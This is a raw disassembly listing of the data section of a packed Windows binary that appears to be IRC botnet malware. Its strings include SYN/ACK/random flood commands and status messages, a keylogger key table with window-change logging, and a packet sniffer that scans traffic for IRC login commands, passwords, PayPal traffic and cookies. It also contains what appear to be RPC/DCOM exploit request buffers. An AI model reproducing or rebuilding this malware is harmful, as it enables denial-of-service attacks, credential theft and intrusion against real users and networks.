		dd offset sub_421CD5	; ?what@runtime_error@@UBEPBDXZ
					; doubtful name
		dd offset loc_421F32
dword_423C88	dd 0			; DATA XREF: sub_421CFE+16o
					; sub_421DD0+16o
; char aInvalidStringP[]
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_421D73+11o
		dd offset dword_423E24
off_423CA8	dd offset sub_421E5B	; DATA XREF: sub_421E77o
					; sub_421E9A+37o ...
		dd offset sub_421CD5	; ?what@runtime_error@@UBEPBDXZ
					; doubtful name
		dd offset loc_421F14
; char aStringTooLong[]
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_421E9A+11o
		dd offset dword_423E68
off_423CC8	dd offset ??_Gtype_info@@UAEPAXI@Z ; DATA XREF:	type_info::~type_info(void)o
					; UPX0:off_4392FCo ...
					; type_info::`scalar deleting destructor'(uint)
		dd offset dword_423E98
off_423CD0	dd offset loc_422013	; DATA XREF: exception::exception(char const * const &)+8o
					; exception::exception(exception const &)+8o ...
		dd offset unknown_libname_16 ; Microsoft VisualC 2-8/net runtime
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: unknown_libname_16+7o
		align 10h
dword_423CF0	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	_CxxThrowException(x,x)+Eo
		dd 3, 19930520h, 2 dup(0)
dword_423D10	dd 0FFFFFFFFh, 42228Ah,	42228Eh, 0FFFFFFFFh, 422307h, 42230Bh
					; DATA XREF: ___crtLCMapStringW+5o
dword_423D28	dd 0FFFFFFFFh, 4224FFh,	422503h, 0FFFFFFFFh, 42255Ch, 422560h
					; DATA XREF: ___crtGetStringTypeW+5o
		dd 4392FCh, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_423D58	dd offset off_439314	; DATA XREF: UPX0:00423D70o
					; UPX0:00423DBCo ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423D58
		dd offset dword_423D28+18h
dword_423D78	dd 3 dup(0)		; DATA XREF: UPX0:00423D9Co
		dd 2, 423D70h, 3 dup(0)
		dd offset off_439314
		dd offset dword_423D78+4
off_423DA0	dd offset off_439334	; DATA XREF: UPX0:00423DB8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423DA0
		dd offset off_423D58
		dd offset dword_423D28+18h
		dd 0
		db    0			; DATA XREF: UPX0:00423DE8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 423DB8h
dword_423DD8	dd 3 dup(0)		; DATA XREF: UPX0:00423C78o
		dd offset off_439334
		dd offset unk_423DC8
off_423DEC	dd offset off_439354	; DATA XREF: UPX0:00423E04o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423DEC
		dd offset off_423D58
		dd offset dword_423D28+18h
dword_423E10	dd 3 dup(0)		; DATA XREF: UPX0:00423E34o
		dd 3, 423E04h
dword_423E24	dd 3 dup(0)		; DATA XREF: UPX0:00423CA4o
		dd offset off_439354
		dd offset dword_423E10+4
off_423E38	dd offset off_439378	; DATA XREF: UPX0:00423E50o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_423E38
		dd 0
		db    0			; DATA XREF: UPX0:00423E78o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 423E50h
dword_423E68	dd 3 dup(0)		; DATA XREF: UPX0:00423CC4o
		dd offset off_439378
		dd offset unk_423E58
		dd offset dword_423D28+18h
dword_423E80	dd 4 dup(0)		; DATA XREF: UPX0:00423EA8o
		dd 1, 423E7Ch
dword_423E98	dd 3 dup(0)		; DATA XREF: UPX0:00423CCCo
		dd offset off_4392FC
		dd offset dword_423E80+8
		align 10h
stru_423EB0	dd 19930520h		; Magic	; DATA XREF: UPX0:loc_4225F7o
		dd 2			; Count
		dd offset stru_423EB0.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset sub_4225E0	; Info.Proc
		dd 0			; Info.Id
		dd offset sub_4225D8	; Info.Proc
stru_423EE0	dd 19930520h		; Magic	; DATA XREF: UPX0:loc_422614o
		dd 2			; Count
		dd offset stru_423EE0.Info; InfoPtr
		dd 0			; CountDtr
		dd 0			; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd offset loc_422604	; Info.Proc
		dd 0			; Info.Id
		dd offset loc_42260C	; Info.Proc
stru_423F10	dd 19930520h		; Magic	; DATA XREF: UPX0:loc_422620o
		dd 2			; Count
		dd offset stru_423F10.Info; InfoPtr
		dd 1			; CountDtr
		dd offset stru_423F40	; DtrPtr
		dd 3 dup(0)		; _unk
		dd -1			; Info.Id
		dd 0			; Info.Proc
		dd -1			; Info.Id
		dd 0			; Info.Proc
stru_423F40	dd 0, 0, 1		; _unk ; DATA XREF: UPX0:stru_423F10o
		dd 1			; Count
		dd offset stru_423F58	; RttiBlkPtr
		dd 0
stru_423F58	_msRttiDscr <0,	0, 0, offset loc_40477F> ; DATA	XREF: UPX0:stru_423F40o
stru_423F68	_msExcInfo <-1,	offset loc_42262A> ; DATA XREF:	UPX0:stru_423F70o
stru_423F70	_msExcept7 <19930520h, 1, offset stru_423F68, 0, 0, 0>
					; DATA XREF: UPX0:loc_422632o
		align 10h
		dd offset off_4392FC
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42206Ch, 0
		dd offset off_439314
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	421E18h, 0
		dd offset off_439334
		align 10h
		dd 0FFFFFFFFh, 0
dword_423FD8	dd 1Ch,	421E82h, 3, 423FC4h, 423FA8h, 423F8Ch ;	DATA XREF: UPX0:00423FFCo
dword_423FF0	dd 0			; DATA XREF: sub_421D73+2Eo
					; sub_421EF6+4Bo
		dd offset sub_421D68
		dd 0
		dd offset dword_423FD8+8
stru_424000	_msExcInfo <-1,	offset loc_42263C> ; DATA XREF:	UPX0:stru_424008o
stru_424008	_msExcept7 <19930520h, 1, offset stru_424000, 0, 0, 0>
					; DATA XREF: UPX0:loc_422644o
stru_424024	_msExcInfo <-1,	offset loc_42264E> ; DATA XREF:	UPX0:stru_42402Co
stru_42402C	_msExcept7 <19930520h, 1, offset stru_424024, 0, 0, 0>
					; DATA XREF: UPX0:loc_422656o
stru_424048	_msExcInfo <-1,	offset loc_422660> ; DATA XREF:	UPX0:stru_424050o
stru_424050	_msExcept7 <19930520h, 1, offset stru_424048, 0, 0, 0>
					; DATA XREF: UPX0:loc_422668o
		align 10h
		dd offset off_439354
		align 8
		dd 0FFFFFFFFh, 0
dword_424080	dd 1Ch,	421EDEh, 3, 42406Ch, 423FA8h, 423F8Ch ;	DATA XREF: UPX0:004240A4o
dword_424098	dd 0			; DATA XREF: sub_421E9A+2Eo
					; sub_421EF6+2Do
		dd offset sub_421E77
		dd 0
		dd offset dword_424080+8
stru_4240A8	_msExcInfo <-1,	offset loc_422672> ; DATA XREF:	UPX0:stru_4240B0o
stru_4240B0	_msExcept7 <19930520h, 1, offset stru_4240A8, 0, 0, 0>
					; DATA XREF: UPX0:loc_42267Ao
dword_4240CC	dd 2, 423FA8h, 423F8Ch	; DATA XREF: UPX0:004240E4o
dword_4240D8	dd 0			; DATA XREF: sub_421EF6+Fo
		dd offset sub_421CBA
		dd 0
		dd offset dword_4240CC
		dd 3C6h	dup(0)
dword_425000	dd 0			; DATA XREF: __cinit+1Fo
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 30h,	40h, 0
		dd offset unknown_libname_1 ; Microsoft	VisualC	2-8/net	runtime
		dd offset sub_40484F
dword_425010	dd 0			; DATA XREF: __cinit+1Ao
dword_425014	dd 0			; DATA XREF: __cinit+10o
		dd offset ___onexitinit
		dd offset ___initmbctable
		dd offset ___initstdio
		dd offset sub_41FE28
dword_425028	dd 0			; DATA XREF: __cinit:loc_4198B3o
dword_42502C	dd 0			; DATA XREF: _doexit+65o
		dd offset ___endstdio
dword_425034	dd 0			; DATA XREF: _doexit:loc_419957o
dword_425038	dd 0			; DATA XREF: _doexit+76o
		dd offset sub_41FE39
dword_425040	dd 4 dup(0)		; DATA XREF: _doexit:loc_419968o
; char unk_425050
unk_425050	db    2			; DATA XREF: sub_401000+5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
; char unk_425088
unk_425088	db    2			; DATA XREF: sub_4010B2+302o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 2 dup(64h), 6Fh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 4
; char aDdos_random[]
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B2:loc_4011DEo
					; sub_40EE51+26B9o
; char aDdos_ack[]
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B2:loc_4011C2o
					; sub_40EE51+26A2o
		align 10h
; char Str2[]
Str2		db 'ddos.syn',0         ; DATA XREF: sub_4010B2+F1o
					; sub_40EE51+268Bo
		align 4
; char unk_4250DC
unk_4250DC	db    2			; DATA XREF: sub_401447+397o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithSFlood	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
; char unk_42513C
unk_42513C	db    2			; DATA XREF: sub_401447+307o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPa	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
; char unk_42519C
unk_42519C	db    2			; DATA XREF: sub_401447+12Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidTargetI	db '  Invalid target IP.',0
		align 4
; char unk_4251CC
unk_4251CC	db    2			; DATA XREF: sub_401447+C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSetsockop	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
; char unk_425214
unk_425214	db    2			; DATA XREF: sub_401447+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketFai	db '  Error: socket() failed, returned: <%d>.',0
		align 4
; char Format[]
Format		db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_40182E+48o
		align 10h
; char dword_425280
dword_425280	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_4019D1+48o
		dd 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 4
; char dword_4252B8
dword_4252B8	dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401A6D+27Do
		dd 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
; char dword_4252E4
dword_4252E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+4EBo
		dd 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
; char dword_425344
dword_425344	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+44Fo
		dd 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
; char aRandom[]
aRandom		db 'random',0           ; DATA XREF: sub_401D79+312o
					; sub_40EE51+2C60o ...
		align 4
; char aAck[]
aAck		db 'ack',0              ; DATA XREF: sub_401D79+2F2o
					; sub_40EE51+2C49o
; char aSyn[]
aSyn		db 'syn',0              ; DATA XREF: sub_401D79+2D2o
					; sub_40EE51+2C31o
; char dword_4253B4
dword_4253B4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+15Fo
		dd 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
; char dword_4253E4
dword_4253E4	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+EEo
		dd 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
; char dword_42542C
dword_42542C	dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_401D79+70o
		dd 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_40239E:loc_402481o
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_425BA4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_40239E+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
; char dword_425BDC
dword_425BDC	dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
					; DATA XREF: sub_4022BD+AEo
		dd 2202967h, 2002BBBBh,	732520h
; char aDDDDDDS[]
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022BD+88o
		align 4
; char Mode[]
Mode		db 'ab',0               ; DATA XREF: sub_4022BD+4Eo
					; sub_40EE51+2B0Fo
		align 4
; char Source[]
Source:					; DATA XREF: sub_4022BD+2Co
		unicode	0, <\>,0
; char aSReturnS[]
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_40239E+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_40239E+1E5o
		align 4
; char aSChangedWindow[]
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_40239E+8Fo
		align 4
off_425C68	dd offset off_4264E0	; DATA XREF: sub_40267F+29Er
		dd offset off_4264DC
		dd offset off_4264D8
		dd offset aHttp		; "HTTP"
; char a_login[]
a_login		db ':.login',0          ; DATA XREF: sub_40267F+1DEo
		dd 3 dup(0)
dword_425C8C	dd 0			; DATA XREF: sub_40267F+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp		db 'HTTP',0             ; DATA XREF: UPX0:00425C74o
		align 4
off_4264D8	dd offset word_505446	; DATA XREF: UPX0:00425C70o
off_4264DC	dd offset byte_435249	; DATA XREF: UPX0:00425C6Co
off_4264E0	dd offset word_544F42	; DATA XREF: UPX0:off_425C68o
; char unk_4264E4
unk_4264E4	db    2			; DATA XREF: sub_40267F+2FCo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorRecvFaile	db 'Error: recv() failed, returned: <%d>',0
		align 4
; char unk_426528
unk_426528	db    2			; DATA XREF: sub_40267F+2ABo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSuspiciousSPac	db 'Suspicious %s packet from: %s:%d - %s.',0
		align 4
; char SubStr[]
SubStr		db '[PSNIFF]',0         ; DATA XREF: sub_40267F+235o
		align 4
; char unk_426578
unk_426578	db    2			; DATA XREF: sub_40267F+186o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorWsaioctlF	db 'Error: WSAIoctl() failed, returned: <%d>.',0
		align 10h
; char unk_4265C0
unk_4265C0	db    2			; DATA XREF: sub_40267F+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorBindFaile	db 'Error: bind() failed, returned: <%d>.',0
		align 4
; char unk_426604
unk_426604	db    2			; DATA XREF: sub_40267F+85o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
dword_426648	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: sub_402DCE+E1o
					; sub_402DCE+21Bo
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_426694	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_402B7B+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
